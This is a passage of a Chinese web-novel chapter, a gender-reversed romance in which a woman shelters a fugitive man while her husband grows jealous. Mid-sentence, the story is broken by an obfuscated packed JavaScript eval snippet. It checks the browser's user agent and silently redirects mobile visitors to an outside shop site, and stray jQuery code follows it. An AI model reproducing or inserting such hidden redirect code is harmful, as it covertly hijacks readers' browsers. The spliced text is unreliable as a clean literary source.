“你们最近……”
“妻主,吃菜。”没等夏清宁再往下说,江容恬便先一步出声打断了。
于是两人都没再继续这个话题。
酒足饭饱后,江容恬在屋里洗碗,门外一阵嘈杂,夏清宁心头一紧,刚准备拿东西把门顶住,门却先一步开了。
“救我……”
夏清宁见状立刻伸手想将门边的人抵出去,只是对面人却先开口道:“你要是不救我,我出去就说我之所以不愿意跟她去就是因为我心仪的对象是你,到时你、我还有你身后这位,咱们一起完蛋!”
夏清宁眼神微眯:“谁会信你?”
对面人闻言挑眉轻笑道:“夏清宁,小名静殊,一年半前出现在玉兰村一间破屋门前,被同村李越所救,后在许氏钱庄做工,同年从童生考至秀娘子。”
“是又怎样?这些镇上随便找人问问也能问出个七七八八来。”夏清宁仍旧抱臂不肯让人进屋。
男人压低了围帽四下看了看才开口:“当然能打听的出,但你要知道在我身边大多是有权有势的女人,就你这样的,你觉得除了说我喜欢你这一条其他的可信吗?”
夏清宁微眯着眼打量起眼前人,江容恬却低声开口道:“仅凭你的一面之词她们又怎么会对我妻主如何,男人从没有发言权,即便她们再喜欢你也是一样。”
男人闻言倒是靠着门框往里探了探头道:“倒没看出你还是个有胆色的。”
江容恬闻言只透过夏清宁的后背凉凉的看向对方,直到对方收回视线才又有些落寞的看向夏清宁的背影。
“你说的有一点是对的,我是男人,她们从没瞧得起我过,向来只是拿我当个物件,但同样的,她们也不会把你们这种底层的女人当成过人,都是个物件还要争个高低不成?”
江容恬闻言正要反驳,门外的动静却似乎越来越近。
看着男人焦急的样子,夏清宁到底还是侧过了身。
“后院东南角有颗树,那边小院和私塾之间有个空隙,你爬进去,躲一个人问题不大。”
男人闻言连道谢都没有,只是抓紧围帽立刻躲进了那处空隙。
声音靠近后夏清宁家也被盘问了,夏清宁开门后来人倒也还算客气,只是眼神却不时往屋里打量。
“有没有见到一个一身麻衣,长相俊俏,鼻尖有颗痣的男子?那人是朝廷钦犯,若是被查到有知情不报者,后果自负。”
夏清宁闻言立刻皱眉,随后像是努力回想了下什么道:“回禀官员,我原本都要睡下了,是听到外面有动静出来看看的,的确没瞧见什么可疑的。”
来人闻言打量了下夏清宁身边的江容恬,江容恬见状立刻一副受惊样躲在了夏清宁身后。
夏清宁施礼将人送走后许久,才让江容恬进去把人叫出来。
“你这祸闯的不小啊,钦犯。”
夏清宁微眯着眸子,半响后才终于认命的开口道:“现在你怎么回去?”
“回去?回哪去。你都说我是钦犯了,我要是还回原来的住所那我逃出来的意义在哪?”
夏清宁闻言顿感不妙,立刻道:“你总得给自己准备个落脚地吧。”
男人闻言这才像是审视一样看向周围:“勉强能住。”
夏清宁闻言轻嗤一声道:“别勉强,哪来的回哪去,我不管你是住庙里还是睡街上,没人管你。”
说着夏清宁就要将人往屋外推,只是刚打算下手时,手里却忽然多出一袋沉甸甸的东西。
看着眼前鼓鼓嬢嬢的荷包,夏清宁到底还是没能将眼前唾手可及的金主推出去。
看着夏清宁见钱眼开的样子男人才颇有些不屑道:“现在这交易还能谈吗?”
感受到那人的不屑,夏清宁却是十分自然的将手里的钱袋塞进了怀里。
人总不能为了尊严连钱都不要,那未免也太有种了,而对于“没种”的夏清宁来说,只有把钱装进自己的口袋才能有种。
“就当是你这个月的房租了。”
男人闻言立刻怒道:“哪里有这么贵的房租?”
夏清宁指了指他又指了指小屋道:“我救了你,还给了你一个容身之所,要不是我心善你这些都不够。”
见对面还要出声,夏清宁忍不住拽着身边的江容恬往自己的屋里走,边走还边不忘说道:“别忘了把屋子收拾干净。”
男人站在身后敢怒不敢言,半响才终于认命的收拾起其实并不凌乱的房间。
只是这里一共两间卧房,为什么这里只有男人的衣服,难不成这两人根本就不住在一起不成?
另一边的夏清宁对着已经坐在床上的江容恬颇有些抱歉道:“我不知道他……”
江容恬却只是摇摇头笑道:“妻主做什么都是对的。”
见对面这样说夏清宁也就没什么好解释的,甚至连刚那句解释,如今都觉得有些多余了。
熄灯后夏清宁才想起两人间横着的板凳不在,忙皱眉准备跨过外侧的男人出去找板凳时,却听到那人忽然一声闷哼。
夏清宁惊了一跳,忙开口想问,对面却先一步哑声开口道:“妻主要找什么?”
夏清宁这才反应过来道:“板凳。”
男人闻言眸色在昏暗的月光下更加晦暗不明,半响才道:“那条板凳走的时候忘记带来了。”
夏清宁闻言这才思索了下道:“那我去私塾搬一条来。”
只是这次江容恬却干脆坐了起来。
“妻主,那个男人觊觎你。”
夏清宁被江容恬的话说的一愣,随后才点了点头道:“的确,我也觉得他绝对还是图点什么,你这样一说我也觉得,他是想赌我未来能功成名就。”
江容恬借着月光看着对面人抿了下唇到底没多说什么,只是片刻后才道:“不论如何我们也该在他面前表现的……亲密……亲密无间一点,这样才能确保他不会在我们之间造成什么不必要的误会和损失。”
夏清宁思索了阵后才点了点头。
劝回要拿板凳的夏清宁,两人又扯了两句有的没的,夏清宁到底还是先没坚持住困意睡了过去,反倒是江容恬在夏清宁熟睡之后才瞧瞧的回过身去。
那个男人真好看啊,江容恬看着夏清宁的脸忍不住想到,想到第一次见那人的惊艳,想到这一次见面时那人的勇敢,那都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262945|150656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是他所没有的。
从前他总听人说,男人的作用就是用手段取悦女人,而样貌则是重中之重,若是妻主她……
莫名的恐惧涌上心头,等到江容恬反应过来时手指已经触到了对面人的脸颊,温暖又滚烫,烧的他从指尖一直滑进心里,这是他第一次如此近距离的触碰她的脸。
月光皎洁但还不足以看清对面人脸上的细节,可他就是知道,知道她鼻梁的弧度,还有她唇瓣上每一条纹路的走线……
直到缓缓靠近,那人骤然睁开的双眼江容恬刚刚狂跳的心脏忽然像是停住了,凝固在那里。
她会不会觉得自己孟浪不配再做她的夫郎……
但好在男人靠上去的时候因为紧张双眼紧闭,夏清宁睁眼在看到男人靠着自己十分进的时候虽然被吓了一跳倒也还算镇定,只是蹑手蹑脚的将小臂轻轻伸进男人的脖颈下,缓缓将人抄起一点高度后才又小心翼翼的往外挪了挪,生怕吵醒对方。
一系列动作做完后,夏清宁才终于又无声的打了个哈欠转过身去。
于是江容恬就这样睁着眼,一夜无眠。
第二天一早两人依旧和往常一样,除了要多送一份饭到隔壁小房间外倒也没什么不同的地方。
但对于两人来说没什么的问题,屋里那位却像是关疯了,直到第五天晚上晚饭时,江容恬刚盛了饭准备往里走时,屋里人便先冲了出来。
“憋死了,憋死了,再不说话我觉得我要变成哑巴了。”
夏清宁闻言连头都没抬,只是淡声道:“这么好的事到时记得第一个通知我。”
男人闻言立刻朝着夏清宁剜了一眼,随后又忍不住道:“都这么多天了,你还不想知道我的名字吗?”
“不想。”
“那正好,你越不喜欢我就越喜欢,我叫宋悦。”
宋悦笑着看向对面道。
夏清宁表示无奈,夹了口菜在碗里后才道:“那我非常想你留下来呢,你是不是现在就可以走?”
宋悦却只是道:“时间到了哪怕你求我留下来我也会走的。”
不等夏清宁出声,男人便又道:“况且我知道这话不是出自你本心,我为什么要走。”
夏清宁只是挑眉道:“那什么是我本心?”
宋悦看着从厨房方向走来的江容恬忽然坏笑道:“你不喜欢你家夫郎是你的本心。”
看着不远处江容恬脚步微顿,宋悦才颇有些大仇得报的快感继续道:“你要是真喜欢你就不会和他分床睡了不是吗?”
感受到男人向后看去的视线,夏清宁一回头果然看到身后站着的江容恬嘴唇发白,眼底的泪将落不落的含在眼眶里。
夏清宁没来由的有些烦躁的看着宋悦,起身道:“能吃吃,不能吃就自己滚回屋里吃,到我家还轮不到你欺负他。”
见对面不动,夏清宁刚打算带着江容恬出去吃,就见那人起了身,只是临走时却忽然凑近夏清宁俯身含笑道:“你眼里的兔子可是有獠牙的,当心什么时候被咬了都不知道。”
话罢,男人起身故意用唇瓣擦过夏清宁的耳垂,直到看到不远处江容恬森冷的眼神后才满意离开。